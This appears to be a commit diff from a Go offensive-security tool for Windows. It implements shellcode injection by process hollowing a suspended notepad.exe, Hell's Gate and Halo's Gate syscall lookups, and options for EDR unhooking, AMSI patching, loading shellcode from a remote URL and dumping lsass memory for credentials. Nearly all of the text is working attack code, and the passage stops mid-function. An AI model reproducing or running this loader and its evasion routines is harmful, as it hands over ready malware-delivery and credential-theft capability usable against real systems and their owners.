log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
}
// Read the child process's PE header signature to validate it is a PE
var Signature uint32
var readBytes3 int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew),
uintptr(unsafe.Pointer(&Signature)),
unsafe.Sizeof(Signature),
uintptr(unsafe.Pointer(&readBytes3)),
)
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
return errors.New("PE Signature string was not PE")
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature),
uintptr(unsafe.Pointer(&peHeader)),
unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&readBytes4)),
)
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&optHeader64)),
unsafe.Sizeof(optHeader64),
uintptr(unsafe.Pointer(&readBytes5)),
)
} else if peHeader.Machine == 332 { // 0x14c
ReadProcessMemory.Call(
uintptr(procInfo.Process),
peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader),
uintptr(unsafe.Pointer(&optHeader32)),
unsafe.Sizeof(optHeader32),
uintptr(unsafe.Pointer(&readBytes5)),
)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
WriteProcessMemory.Call(
uintptr(procInfo.Process),
ep,
uintptr(unsafe.Pointer(&epBuffer[0])),
uintptr(len(epBuffer)),
)
// Resume the child process
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
// Close the handle to the child process
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
return nil
}
+118
View File
@@ -6,6 +6,8 @@ This package exports all windows struct which are used
*/
import "golang.org/x/sys/windows"
type IMAGE_OPTIONAL_HEADER struct {
Magic uint16
MajorLinkerVersion uint8
@@ -39,6 +41,73 @@ type IMAGE_OPTIONAL_HEADER struct {
DataDirectory [16]IMAGE_DATA_DIRECTORY
}
type IMAGE_OPTIONAL_HEADER64 IMAGE_OPTIONAL_HEADER /*{
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}*/
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
type IMAGE_DATA_DIRECTORY struct {
VirtualAddress uint32
Size uint32
@@ -82,5 +151,54 @@ type IMAGE_DOS_HEADER struct { // DOS .EXE header
E_lfanew uint16 // File address of new exe header
}
type PEB struct {
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
BeingDebugged byte // BYTE 2
reserved2 [1]byte // BYTE 3
Mutant uintptr // BYTE 4
ImageBaseAddress uintptr // BYTE 8
Ldr uintptr // PPEB_LDR_DATA
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
reserved4 [3]uintptr // PVOID
AtlThunkSListPtr uintptr // PVOID
reserved5 uintptr // PVOID
reserved6 uint32 // ULONG
reserved7 uintptr // PVOID
reserved8 uint32 // ULONG
AtlThunkSListPtr32 uint32 // ULONG
reserved9 [45]uintptr // PVOID
reserved10 [96]byte // BYTE
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
reserved11 [128]byte // BYTE
reserved12 [1]uintptr // PVOID
SessionId uint32 // ULONG
}
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
type ClientID struct {
UniqueProcess windows.Handle
UniqueThread windows.Handle
}
type imageExportDir struct {
_, _ uint32
_, _ uint16
Name uint32
Base uint32
NumberOfFunctions uint32
NumberOfNames uint32
AddressOfFunctions uint32
AddressOfNames uint32
AddressOfNameOrdinals uint32
}
+7 -5
View File
@@ -10,33 +10,35 @@ import (
"flag"
)
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, string) {
func ParseFlags() (string, string, string, string, bool, bool, int, bool, bool, bool, bool, string) {
var sc_url string
var sc_file string
var dll_file string
var technique string
var hook_detect bool
var hells bool
var halos bool
var unhook int
var base64_flag bool
var hex_flag bool
var test_flag bool
var amsi bool
var lsass_flag string
flag.StringVar(&sc_url, "url", "", "remote shellcode url (e.g. http://192.168.1.37/shellcode.bin)")
flag.StringVar(&sc_file, "file", "", "path to file where shellcode is stored")
flag.StringVar(&dll_file, "dll", "", "path to DLL you want to inject with function name sepparated by comma (i.e. evil.dll,xyz)")
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, OpenProcess, EarlyBirdApc (default: random)")
flag.StringVar(&technique, "t", "", "shellcode injection technique: CreateRemoteThread, Fibers, CreateProcess, EarlyBirdApc, UuidFromString (default: random)")
flag.BoolVar(&hook_detect, "hooks", false, "dinamically detect hooked functions by EDR")
flag.BoolVar(&hells, "hells", false, "enable Hell's Gate technique to try to evade possible EDRs")
flag.BoolVar(&halos, "halos", false, "combine Hell's Gate and Halo's Gate to evade EDRs")
flag.IntVar(&unhook, "unhook", 0, "overwrite syscall memory address to bypass EDR : 1=classic, 2=full, 3=Perun's Fart")
flag.BoolVar(&base64_flag, "b64", false, "decode base64 encoded shellcode")
flag.BoolVar(&amsi, "amsi", false, "overwrite AmsiScanBuffer memory address to patch AMSI")
flag.BoolVar(&hex_flag, "hex", false, "decode hex encoded shellcode")
flag.BoolVar(&test_flag, "test", false, "test shellcode injection capabilities by spawning a calc.exe")
flag.StringVar(&lsass_flag, "lsass", "", "dump lsass.exe process memory into a file to extract credentials (run as admin)")
flag.Parse()
return sc_url, sc_file, dll_file, technique, hook_detect, hells, unhook, base64_flag, hex_flag, test_flag, lsass_flag // Return all param values
return sc_url, sc_file, dll_file, technique, hook_detect, halos, unhook, base64_flag, hex_flag, test_flag, amsi, lsass_flag // Return all param values
}
+141
View File
@@ -0,0 +1,141 @@
package core
/*
References:
*/
import (
"errors"
"unsafe"
"strings"
"encoding/binary"
"github.com/Binject/debug/pe"
)
func GetSysId(funcname string) (uint16, error) {
ntdll_handle, _ := inMemLoads(string([]byte{'n', 't', 'd', 'l', 'l'}))
if (ntdll_handle == 0) {
return 0, errors.New("an error has ocurred while getting ntdll.dll handle!")
}
exports := getExport(ntdll_handle)
for _, exp := range exports {
if (strings.ToLower(funcname) == strings.ToLower(exp.Name)) {
buff := make([]byte, 10)
if exp.VirtualAddress <= ntdll_handle {
return 0, errors.New("an error has ocurred getting syscall id")
}
memcpy(uintptr(unsafe.Pointer(&buff[0])), uintptr(exp.VirtualAddress), 10)
// Check if function isn't hooked
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
// Return syscall id
return binary.LittleEndian.Uint16(buff[4:8]), nil
} else { // Enter here if function seems to be hooked
for i := uintptr(1); i <= 500; i++ { // Loop 500 times to get a valid syscall
memcpy(uintptr(unsafe.Pointer(&buff[0])), uintptr(exp.VirtualAddress + i*IDX), 10)
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
return uint16Down(buff[4:8], uint16(i)), nil // Return syscall
}
memcpy(uintptr(unsafe.Pointer(&buff[0])), uintptr(exp.VirtualAddress - i*IDX), 10)
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
return uint16Up(buff[4:8], uint16(i)), nil
}
}
}
return getDiskSysId(funcname)
}
}
return getDiskSysId(funcname)
}
func getDiskSysId(funcname string) (uint16, error) {
ntdll_path := string(
[]byte{
'c', ':', '\\', 'w', 'i', 'n', 'd', 'o', 'w', 's', '\\', 's', 'y', 's', 't', 'e', 'm', '3', '2', '\\', 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l',
},
)
ntdll_pe, err := pe.Open(ntdll_path)
if err != nil {
return 0, err
}
exports, err := ntdll_pe.Exports()
if err != nil {
return 0, err
}
for _, exp := range exports {
if (strings.ToLower(funcname) == strings.ToLower(exp.Name)) {
offset := rvaToOffset(ntdll_pe, exp.VirtualAddress)
b, err := ntdll_pe.Bytes()
if err != nil {
return 0, err
}
buff := b[offset : offset+10]
// Check if function isn't hooked
if buff[0] == 0x4c && buff[1] == 0x8b && buff[2] == 0xd1 && buff[3] == 0xb8 && buff[6] == 0x00 && buff[7] == 0x00 {
// Return syscall id
return binary.LittleEndian.Uint16(buff[4:8]), nil
} else { // Enter here if function seems to be hooked
for i := uintptr(1); i <= 500; i++ { // Loop 500 times to get a valid syscall
if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) + i*IDX)) == 0x4c &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) + i*IDX)) == 0x8b &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) + i*IDX)) == 0xd1 &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) + i*IDX)) == 0xb8 &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) + i*IDX)) == 0x00 &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) + i*IDX)) == 0x00 {
buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) + i*IDX))
buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) + i*IDX))
return uint16Down(buff[4:8], uint16(i)), nil // Return syscall
}
if *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[0])) - i*IDX)) == 0x4c &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[1])) - i*IDX)) == 0x8b &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[2])) - i*IDX)) == 0xd1 &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[3])) - i*IDX)) == 0xb8 &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[6])) - i*IDX)) == 0x00 &&
*(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[7])) - i*IDX)) == 0x00 {
buff[4] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[4])) - i*IDX))
buff[5] = *(*byte)(unsafe.Pointer(uintptr(unsafe.Pointer(&buff[5])) - i*IDX))
return uint16Up(buff[4:8], uint16(i)), nil
}
}
}
return 0, errors.New("syscall ID not found")
}
}
return 0, errors.New("syscall ID not found")
}
+21 -6
View File
@@ -9,33 +9,48 @@ https://www.ired.team/offensive-security/defense-evasion/windows-api-hashing-in-
import (
"errors"
"bytes"
"encoding/binary"
"golang.org/x/sys/windows"
//"golang.org/x/sys/windows"
// Third-party
"github.com/Binject/debug/pe"
)
// Check if hash is a valid function and return its proc
func FuncFromHash(hash string, dll string) (*windows.LazyProc, string, error) {
func FuncFromHash(hash string, dll string) (uint16, string, error) {
dll_pe, err := pe.Open(dll) // Open and parse dll as a PE
if err != nil {
return new(windows.LazyProc), "", err
return 0, "", err
}
defer dll_pe.Close()
exports, err := dll_pe.Exports() // Get exported functions
if err != nil {
return new(windows.LazyProc), "", err
return 0, "", err
}
for _, ex := range exports {
if (StrToSha1(ex.Name) == hash) {
return windows.NewLazyDLL(dll).NewProc(ex.Name), ex.Name, nil
offset := rvaToOffset(dll_pe, ex.VirtualAddress)
bBytes, err := dll_pe.Bytes()
if err != nil {
return 0, "", err
}
buff := bBytes[offset : offset+10]
if !bytes.HasPrefix(buff, HookCheck) {
return 0, "", MayBeHookedError{Foundbytes: buff}
}
sysId := binary.LittleEndian.Uint16(buff[4:8])
return sysId, ex.Name, nil
}
}
return new(windows.LazyProc), "", errors.New("function not found!")
return 0, "", errors.New("function not found!")
}
// Convert string to sha1
+2 -1
View File
@@ -34,7 +34,8 @@ func DetectHooks() ([]string, error) {
}
for _, exp := range exports { // Iterate over them
offset := RvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
offset := rvaToOffset(ntdll_pe, exp.VirtualAddress) // Get RVA offset
bBytes, err := ntdll_pe.Bytes() // Get bytes from ntdll.dll
if err != nil {
return hooked_functions, err
+30 -5
View File
@@ -5,11 +5,11 @@ import (
"strings"
)
var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc"}
var techniques = []string{"CreateRemoteThread", "Fibers", "CreateProcess", "EarlyBirdApc", "UuidFromString"}
func Inject(shellcode []byte, technique string) (error) {
func InjectWithTechnique(shellcode []byte, technique string) (error) {
// Check especified injection technique
if (strings.ToLower(technique) == "createremotethread") {
err := CreateRemoteThread(shellcode)
if err != nil { // Handle error
@@ -34,10 +34,16 @@ func InjectWithTechnique(shellcode []byte, technique string) (error) {
return err
}
} else if (strings.ToLower(technique) == "uuidfromstring"){
err := UuidFromString(shellcode)
if err != nil {
return err
}
} else {
rand_n := RandomInt(3, 0) // Choose a random technique
rand_n := RandomInt(4, 0) // Choose a random technique
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
err := InjectWithTechnique(shellcode, techniques[rand_n])
err := Inject(shellcode, techniques[rand_n])
if err != nil { // Handle error
return err
}
@@ -46,4 +52,23 @@ func InjectWithTechnique(shellcode []byte, technique string) (error) {
return nil
}
func InjectHalos(shellcode []byte, technique string) (error) {
if (strings.ToLower(technique) == "createprocess") {
err := CreateProcessHalos(shellcode)
if err != nil {
return err
}
} else {
rand_n := RandomInt(4, 0)
fmt.Println("[*] Injecting shellcode using " + techniques[rand_n] + " function")
err := InjectHalos(shellcode, techniques[rand_n])
if err != nil {
return err
}
}
return nil
}
-301
View File
@@ -1,301 +0,0 @@
package core
/*
References:
https://github.com/Ne0nd0g/go-shellcode/blob/master/cmd/CreateProcess/main.go
*/
import (
"encoding/binary"
"fmt"
"log"
"syscall"
"errors"
"unsafe"
// Sub Repositories
"golang.org/x/sys/windows"
)
func CreateProcess(shellcode []byte) (error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAllocEx := kernel32.NewProc("VirtualAllocEx")
VirtualProtectEx := kernel32.NewProc("VirtualProtectEx")
WriteProcessMemory := kernel32.NewProc("WriteProcessMemory")
NtQueryInformationProcess := ntdll.NewProc("NtQueryInformationProcess")
procInfo := &windows.ProcessInformation{}
startupInfo := &windows.StartupInfo{
Flags: windows.STARTF_USESTDHANDLES | windows.CREATE_SUSPENDED,
}
errCreateProcess := windows.CreateProcess(syscall.StringToUTF16Ptr("C:\\Windows\\System32\\notepad.exe"), syscall.StringToUTF16Ptr(""), nil, nil, true, windows.CREATE_SUSPENDED, nil, nil, startupInfo, procInfo)
if errCreateProcess != nil {
return errCreateProcess
}
addr, _, _ := VirtualAllocEx.Call(uintptr(procInfo.Process), 0, uintptr(len(shellcode)), windows.MEM_COMMIT|windows.MEM_RESERVE, windows.PAGE_READWRITE)
if addr == 0 {
return errors.New("VirtualAllocEx failed and returned 0")
}
// Write shellcode into child process memory
WriteProcessMemory.Call(uintptr(procInfo.Process), addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := windows.PAGE_READWRITE
VirtualProtectEx.Call(uintptr(procInfo.Process), addr, uintptr(len(shellcode)), windows.PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
type PEB struct {
InheritedAddressSpace byte // BYTE 0
ReadImageFileExecOptions byte // BYTE 1
BeingDebugged byte // BYTE 2
reserved2 [1]byte // BYTE 3
Mutant uintptr // BYTE 4
ImageBaseAddress uintptr // BYTE 8
Ldr uintptr // PPEB_LDR_DATA
ProcessParameters uintptr // PRTL_USER_PROCESS_PARAMETERS
reserved4 [3]uintptr // PVOID
AtlThunkSListPtr uintptr // PVOID
reserved5 uintptr // PVOID
reserved6 uint32 // ULONG
reserved7 uintptr // PVOID
reserved8 uint32 // ULONG
AtlThunkSListPtr32 uint32 // ULONG
reserved9 [45]uintptr // PVOID
reserved10 [96]byte // BYTE
PostProcessInitRoutine uintptr // PPS_POST_PROCESS_INIT_ROUTINE
reserved11 [128]byte // BYTE
reserved12 [1]uintptr // PVOID
SessionId uint32 // ULONG
}
// https://github.com/elastic/go-windows/blob/master/ntdll.go#L77
type PROCESS_BASIC_INFORMATION struct {
reserved1 uintptr // PVOID
PebBaseAddress uintptr // PPEB
reserved2 [2]uintptr // PVOID
UniqueProcessId uintptr // ULONG_PTR
InheritedFromUniqueProcessID uintptr // PVOID
}
var processInformation PROCESS_BASIC_INFORMATION
var returnLength uintptr
ntStatus, _, _ := NtQueryInformationProcess.Call(uintptr(procInfo.Process), 0, uintptr(unsafe.Pointer(&processInformation)), unsafe.Sizeof(processInformation), returnLength)
if ntStatus != 0 {
if ntStatus == 3221225476 {
return errors.New("Error calling NtQueryInformationProcess: STATUS_INFO_LENGTH_MISMATCH") // 0xc0000004 (3221225476)
}
fmt.Println(fmt.Sprintf("[!] NtQueryInformationProcess returned NTSTATUS: %x(%d)", ntStatus, ntStatus))
return errors.New("Error calling NtQueryInformationProcess")
}
// Read from PEB base address to populate the PEB structure
ReadProcessMemory := kernel32.NewProc("ReadProcessMemory")
var peb PEB
var readBytes int32
ReadProcessMemory.Call(uintptr(procInfo.Process), processInformation.PebBaseAddress, uintptr(unsafe.Pointer(&peb)), unsafe.Sizeof(peb), uintptr(unsafe.Pointer(&readBytes)))
// Read the child program's DOS header and validate it is a MZ executable
type IMAGE_DOS_HEADER struct {
Magic uint16 // USHORT Magic number
Cblp uint16 // USHORT Bytes on last page of file
Cp uint16 // USHORT Pages in file
Crlc uint16 // USHORT Relocations
Cparhdr uint16 // USHORT Size of header in paragraphs
MinAlloc uint16 // USHORT Minimum extra paragraphs needed
MaxAlloc uint16 // USHORT Maximum extra paragraphs needed
SS uint16 // USHORT Initial (relative) SS value
SP uint16 // USHORT Initial SP value
CSum uint16 // USHORT Checksum
IP uint16 // USHORT Initial IP value
CS uint16 // USHORT Initial (relative) CS value
LfaRlc uint16 // USHORT File address of relocation table
Ovno uint16 // USHORT Overlay number
Res [4]uint16 // USHORT Reserved words
OEMID uint16 // USHORT OEM identifier (for e_oeminfo)
OEMInfo uint16 // USHORT OEM information; e_oemid specific
Res2 [10]uint16 // USHORT Reserved words
LfaNew int32 // LONG File address of new exe header
}
var dosHeader IMAGE_DOS_HEADER
var readBytes2 int32
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress, uintptr(unsafe.Pointer(&dosHeader)), unsafe.Sizeof(dosHeader), uintptr(unsafe.Pointer(&readBytes2)))
// 23117 is the LittleEndian unsigned base10 representation of MZ
// 0x5a4d is the LittleEndian unsigned base16 represenation of MZ
if dosHeader.Magic != 23117 {
log.Fatal(fmt.Sprintf("[!]DOS image header magic string was not MZ"))
}
// Read the child process's PE header signature to validate it is a PE
var Signature uint32
var readBytes3 int32
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew), uintptr(unsafe.Pointer(&Signature)), unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&readBytes3)))
// 17744 is Little Endian Unsigned 32-bit integer in decimal for PE (null terminated)
// 0x4550 is Little Endian Unsigned 32-bit integer in hex for PE (null terminated)
if Signature != 17744 {
return errors.New("PE Signature string was not PE")
}
type IMAGE_FILE_HEADER struct {
Machine uint16
NumberOfSections uint16
TimeDateStamp uint32
PointerToSymbolTable uint32
NumberOfSymbols uint32
SizeOfOptionalHeader uint16
Characteristics uint16
}
var peHeader IMAGE_FILE_HEADER
var readBytes4 int32
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature), uintptr(unsafe.Pointer(&peHeader)), unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&readBytes4)))
type IMAGE_OPTIONAL_HEADER64 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
type IMAGE_OPTIONAL_HEADER32 struct {
Magic uint16
MajorLinkerVersion byte
MinorLinkerVersion byte
SizeOfCode uint32
SizeOfInitializedData uint32
SizeOfUninitializedData uint32
AddressOfEntryPoint uint32
BaseOfCode uint32
BaseOfData uint32 // Different from 64 bit header
ImageBase uint64
SectionAlignment uint32
FileAlignment uint32
MajorOperatingSystemVersion uint16
MinorOperatingSystemVersion uint16
MajorImageVersion uint16
MinorImageVersion uint16
MajorSubsystemVersion uint16
MinorSubsystemVersion uint16
Win32VersionValue uint32
SizeOfImage uint32
SizeOfHeaders uint32
CheckSum uint32
Subsystem uint16
DllCharacteristics uint16
SizeOfStackReserve uint64
SizeOfStackCommit uint64
SizeOfHeapReserve uint64
SizeOfHeapCommit uint64
LoaderFlags uint32
NumberOfRvaAndSizes uint32
DataDirectory uintptr
}
var optHeader64 IMAGE_OPTIONAL_HEADER64
var optHeader32 IMAGE_OPTIONAL_HEADER32
var readBytes5 int32
if peHeader.Machine == 34404 { // 0x8664
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader64)), unsafe.Sizeof(optHeader64), uintptr(unsafe.Pointer(&readBytes5)))
} else if peHeader.Machine == 332 { // 0x14c
ReadProcessMemory.Call(uintptr(procInfo.Process), peb.ImageBaseAddress+uintptr(dosHeader.LfaNew)+unsafe.Sizeof(Signature)+unsafe.Sizeof(peHeader), uintptr(unsafe.Pointer(&optHeader32)), unsafe.Sizeof(optHeader32), uintptr(unsafe.Pointer(&readBytes5)))
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// Overwrite the value at AddressofEntryPoint field with trampoline to load the shellcode address in RAX/EAX and jump to it
var ep uintptr
if peHeader.Machine == 34404 { // 0x8664 x64
ep = peb.ImageBaseAddress + uintptr(optHeader64.AddressOfEntryPoint)
} else if peHeader.Machine == 332 { // 0x14c x86
ep = peb.ImageBaseAddress + uintptr(optHeader32.AddressOfEntryPoint)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
var epBuffer []byte
var shellcodeAddressBuffer []byte
if peHeader.Machine == 34404 { // 0x8664 x64
epBuffer = append(epBuffer, byte(0x48))
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 8) // 8 bytes for 64-bit address
binary.LittleEndian.PutUint64(shellcodeAddressBuffer, uint64(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else if peHeader.Machine == 332 { // 0x14c x86
epBuffer = append(epBuffer, byte(0xb8))
shellcodeAddressBuffer = make([]byte, 4) // 4 bytes for 32-bit address
binary.LittleEndian.PutUint32(shellcodeAddressBuffer, uint32(addr))
epBuffer = append(epBuffer, shellcodeAddressBuffer...)
} else {
return errors.New(fmt.Sprintf("Unknow IMAGE_OPTIONAL_HEADER type for machine type: 0x%x", peHeader.Machine))
}
// 0xff ; 0xe0 = jmp [r|e]ax
epBuffer = append(epBuffer, byte(0xff))
epBuffer = append(epBuffer, byte(0xe0))
WriteProcessMemory.Call(uintptr(procInfo.Process), ep, uintptr(unsafe.Pointer(&epBuffer[0])), uintptr(len(epBuffer)))
// Resume the child process
_, errResumeThread := windows.ResumeThread(procInfo.Thread)
if errResumeThread != nil {
return errors.New(fmt.Sprintf("Error calling ResumeThread:\r\n%s", errResumeThread.Error()))
}
// Close the handle to the child process
errCloseProcHandle := windows.CloseHandle(procInfo.Process)
if errCloseProcHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process handle:\r\n\t%s", errCloseProcHandle.Error()))
}
// Close the hand to the child process thread
errCloseThreadHandle := windows.CloseHandle(procInfo.Thread)
if errCloseThreadHandle != nil {
return errors.New(fmt.Sprintf("Error closing the child process thread handle:\r\n\t%s", errCloseThreadHandle.Error()))
}
return nil
}
+94
View File
@@ -0,0 +1,94 @@
package core
import (
"fmt"
"unsafe"
"syscall"
"golang.org/x/sys/windows"
)
// Receives function address and arguments
func Syscall(callid uint16, argh ...uintptr) (errcode uint32, err error) {
errcode = bpSyscall(callid, argh...)
if errcode != 0 {
err = fmt.Errorf("non-zero return from syscall")
}
return errcode, err
}
func bpSyscall(callid uint16, argh ...uintptr) (errcode uint32)
func Execute(shellcode []byte) (error) {
kernel32 := windows.NewLazySystemDLL("kernel32.dll")
ntdll := windows.NewLazySystemDLL("ntdll.dll")
VirtualAlloc := kernel32.NewProc("VirtualAlloc")
VirtualProtect := kernel32.NewProc("VirtualProtect")
RtlCopyMemory := ntdll.NewProc("RtlCopyMemory")
// Allocate memory
addr, _, errVirtualAlloc := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
